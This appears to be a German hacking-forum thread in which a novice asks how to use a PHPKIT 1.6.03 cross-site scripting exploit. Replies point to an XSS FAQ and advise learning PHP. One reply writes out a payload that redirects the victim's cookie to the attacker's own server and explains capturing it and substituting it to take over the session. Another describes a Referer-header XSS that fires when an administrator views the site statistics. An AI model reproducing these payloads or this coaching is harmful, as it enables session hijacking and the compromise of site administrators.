Frage bzgl. PHPKIT Exploit

[bID]

HI !
Ich habe einen PHPKIT 1.6.03 Exploit rausgesucht und versuchte mich damit mal etwas auseinander zu setzen, wobei dann folgende Fragen aufgetaucht sind :

1) Wie würde man diesen Exploit anwenden ( stark theoretisch ) und was ist mit dem <script>....</script> gemeint ? Muss ich etwas selber scripten oder muss ich den so verwenden wie er geschrieben ist ??? Wenn ich den so anwende bekomme ich nur eine meldung als MD5-Hash oder so.

http://www.example.com/phpkit/popup.php?img="><script>alert(document.cookie)</script>

Ich beschäftige mich noch nicht lange mit dem Thema.....also wenn ich da irgendeinen Müll geschrieben habe....sry

thnx4replies

 

[Mackz]

http://www.cgisecurity.com/articles/xss-faq.shtml

 

[Elderan]

Hallo,

PHPKIT 1.6.03 Exploit rausgesucht .... Ich beschäftige mich noch nicht lange mit dem Thema

Schlechte kombination.

Also falls du Exploits wirklich verstehen willst, dann solltest du natürlich zuerst PHP lernen, evt. noch die Grundlagen von HTML & JavaScript.

Wenn ich den so anwende bekomme ich nur eine meldung als MD5-Hash oder so.

Lerne PHP, lerne wie man Cookies normalerweise setzt, und dann weißt du was dir die Ausgabe bringt.

Aber ohne Kenne, kommste nicht weit.

 

[bID]

thnx erstmal !
Eine frage habe ich noch : was kann man zwischen "<script>alert(document.cookie)</script>" schreiben ?
da kann man doch verschiedene befehle eingeben oder ??? Aber alles nur in HTML ???
thnx

 

[Closed]

brauchst nen webserver dafür. hier ein kleines beispiel:

<script>document.location=?http://deinserver.de/xss.php?cookie=?+document.cookie</script>

so könnte dein xss scriptchen aussehen

jetzt musste das cookie nur noch mit nem php script auf deinem server auffangen und dieses dann mit deinem ersetzen

das wars.

wenn du dafür noch nen kleinen denkanstoß brauchst, dann pn an mich

nachtrag: hab gerade den link gesehen. sorry, aber da steht alles genau beschrieben

also vergiß meine antwort einfach hast sie ja schon gehabt

 

[Xalon]

Bissl alt das Topic,oder

Xalon

P.S.ie beste Sicherheitslücke am PHPKIT find ich ist die XSS Lücke die man beim Referer angeben kann,wenn ein Admin sich dann die Statistiken anschaut wird der Code ausgeführt:
Referer: <script>alert("HAcked ;-)")</script>